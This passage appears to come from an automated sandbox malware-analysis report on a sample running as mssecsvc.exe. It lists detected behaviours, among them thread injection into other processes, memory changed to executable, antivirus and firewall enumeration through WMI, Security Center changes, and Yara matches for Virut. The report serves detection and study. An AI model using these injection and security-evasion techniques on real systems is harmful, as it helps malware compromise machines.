              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA040 protect: page execute and read and writeJump to behavior
              Creates a thread in another existing process (thread injection)
              Source: C:\Windows\mssecsvc.exeThread created: unknown EIP: 7FFF3C38Jump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\kBBdc7Aoj4.dll",#1Jump to behavior
              Source: dwm.exe, 0000001B.00000000.333101062.000002C633456000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Program Manager
              Source: winlogon.exe, 00000009.00000002.794117430.000001AFDE0B0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000009.00000000.271835457.000001AFDE0B0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000009.00000000.276974637.000001AFDE0B0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
              Source: winlogon.exe, 00000009.00000002.794117430.000001AFDE0B0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000009.00000000.271835457.000001AFDE0B0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000009.00000000.276974637.000001AFDE0B0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
              Source: winlogon.exe, 00000009.00000002.794117430.000001AFDE0B0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000009.00000000.271835457.000001AFDE0B0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000009.00000000.276974637.000001AFDE0B0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Program Manager,
              Source: winlogon.exe, 00000009.00000002.794117430.000001AFDE0B0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000009.00000000.271835457.000001AFDE0B0000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 00000009.00000000.276974637.000001AFDE0B0000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
              Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338389 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338389\b90004b023a9430a8cdab23e00685fdb_1 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\280815 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\280815\a252c94aa10b4e29b15813d0ca87a04f_1 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\338388\1658297378 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\338387\1658297378 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: unknown VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\314559\c069b9331e0248a9a4f583bcacc849e3_1 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\StagedAssets\963e3f45523380a2c6863a4e725418b8c00a5272db711428aa77a85033610e1c VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\StagedAssets\cf0e347e4829f32b660aa0a3b28c38bd7cba4cc57aa78e26c6d08bdb37dbb4a7 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\StagedAssets\f7171c70ca28a5eb702f9f3f1452d12a2fe1c80af647ff2e2ecb22034cb4776c VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\StagedAssets\34de00544fa421472021e409430c19ca2174ffd8277362ac4c1847ef4338fa7e VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\StagedAssets\cd08622aeb1e5982bb375627846e975e2d2650c8de5ca8a1dd8032bba2ec3a20 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\StagedAssets\79baa2adc8e91557dcbf0dc6da261922336aea8bf53601dfe72e6512b093d962 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\314559\ec2382d5001e499494762dbcf909584a_1 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338388 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338388\4c36159ae5ee4f6e9686eaabcf07c89c_1 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387\7133306ac16144a6b826adef023897d6_1 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\ContentManagementSDK\Creatives\310091\1658297416 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387\d04edb701283497a9785d88eebcdcf04_1 VolumeInformationJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeQueries volume information: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\TargetedContentCache\v3\338387\3e50d6fc45cd4b549ac164f910b5c353_1 VolumeInformationJump to behavior
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC388E GetSystemTime,Sleep,InternetGetConnectedState,gethostbyname,socket,ioctlsocket,connect,Sleep,closesocket,4_2_00AC388E
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC042D GetModuleHandleA,GetVersion,VirtualAlloc,FindCloseChangeNotification,SetProcessAffinityMask,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,FindCloseChangeNotification,4_2_00AC042D

              Lowering of HIPS / PFW / Operating System Security Settings

              barindex
              Changes security center settings (notifications, updates, antivirus, firewall)
              Source: C:\Windows\System32\svchost.exeKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cvalJump to behavior
              Source: C:\Windows\System32\svchost.exeWMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA &apos;AntiVirusProduct&apos; OR TargetInstance ISA &apos;FirewallProduct&apos; OR TargetInstance ISA &apos;AntiSpywareProduct&apos;
              Source: C:\Windows\System32\svchost.exeWMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
              Source: C:\Windows\System32\svchost.exeWMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
              Source: C:\Windows\System32\svchost.exeWMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct
              Source: svchost.exe, 00000020.00000002.798780630.00000247D314C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.365865415.00000247D314C000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: "@C:\Program Files\Windows Defender\MsMpEng.exe
              Source: svchost.exe, 00000020.00000000.367286707.00000247D36B5000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.802484790.00000247D36B5000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.801008639.00000247D3613000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@\device\harddiskvolume4\program files\windows defender\msmpeng.exe
              Source: svchost.exe, 00000016.00000002.785281369.000001C395A3C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: (@V%ProgramFiles%\Windows Defender\MsMpeng.exe
              Source: svchost.exe, 00000020.00000000.367286707.00000247D36B5000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.802484790.00000247D36B5000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @\device\harddiskvolume4\program files\windows defender\msmpeng.exe
              Source: svchost.exe, 00000020.00000002.795309716.00000247D3000000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.364653488.00000247D3000000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: .@C:\Program Files\Windows Defender\MsMpEng.exe
              Source: svchost.exe, 00000020.00000002.798780630.00000247D314C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.365865415.00000247D314C000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *@C:\Program Files\Windows Defender\MsMpEng.exe
              Source: svchost.exe, 00000016.00000002.783128764.000001C395A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.786648744.000001C395B02000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
              Source: mssecsvc.exe, mssecsvc.exe, 0000000A.00000002.354732682.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 0000000A.00000000.273820547.0000000000710000.00000080.00000001.01000000.00000004.sdmp, tasksche.exe, 0000001D.00000000.341005628.0000000000410000.00000002.00000001.01000000.00000008.sdmpBinary or memory string: 2\Device\HarddiskVolume2\Windows\ehome\mcupdate.exe
              Source: mssecsvc.exeBinary or memory string: 8\Device\HarddiskVolume2\Program Files\AVG\Av\avgcmgr.exe
              Source: svchost.exe, 00000020.00000002.795309716.00000247D3000000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.364653488.00000247D3000000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $@C:\Program Files\Windows Defender\MsMpEng.exe

              Stealing of Sensitive Information

              barindex
              Yara detected Virut
              Source: Yara matchFile source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000018.00000002.780038210.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000018.00000000.297917733.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000000.284082640.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000D.00000000.282719570.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000025.00000002.779622182.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000D.00000002.779795450.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000000.275250828.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000002.779624933.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000020.00000002.779620781.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000000.278345246.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000000.274728870.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000002.779850474.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000000.306865025.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.779420524.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000000.302681631.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.531344319.0000000000AC0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001F.00000000.358836305.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000002.779957944.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000018.00000002.779625256.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000018.00000000.297935141.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000002.779625777.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000000.288356484.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000021.00000002.779629250.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000024.00000000.384980372.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000025.00000000.395892322.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000000.303697013.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000D.00000000.279772063.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000022.00000000.374091612.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000024.00000002.779620499.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.779917010.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001E.00000000.355451768.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000000.287910234.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000000.303739721.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000D.00000002.779419743.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000000.288244133.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000002.780045670.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000002.779624964.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000000.285630822.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000002.779420595.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000002.779542408.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000021.00000000.371524585.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000000.285350608.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000000.269431373.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000002.779959042.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000000.275240067.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000022.00000002.779622641.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000000.306275003.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.532903176.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.357766957.0000000000B00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.779418890.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000018.00000000.297503567.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000000.306783221.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000026.00000002.779620466.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000000.285663148.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000000.282495511.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000F.00000000.285363531.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000026.00000000.399766595.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.779851504.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001E.00000002.779625609.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000000.284037505.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000004.00000002.531306242.0000000000A6B000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001A.00000000.302649387.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000018.00000000.297520216.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000D.00000000.282701185.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000000.287920989.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000011.00000002.779554613.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.357638181.0000000000A6B000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000009.00000002.779805560.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000020.00000000.361461288.000000007FFF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000001B.00000000.306259701.000000007FFD0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000C.00000000.278334904.000000007FFD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 6452, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: winlogon.exe PID: 572, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: mssecsvc.exe PID: 6656, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: lsass.exe PID: 612, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: fontdrvhost.exe PID: 708, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: fontdrvhost.exe PID: 716, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 724, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 804, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 852, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 900, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: dwm.exe PID: 984, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 1020, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 316, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 416, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 948, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 960, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 1132, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 1200, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: svchost.exe PID: 1272, type: MEMORYSTR

              Remote Access Functionality

              barindex
              Yara detected Virut
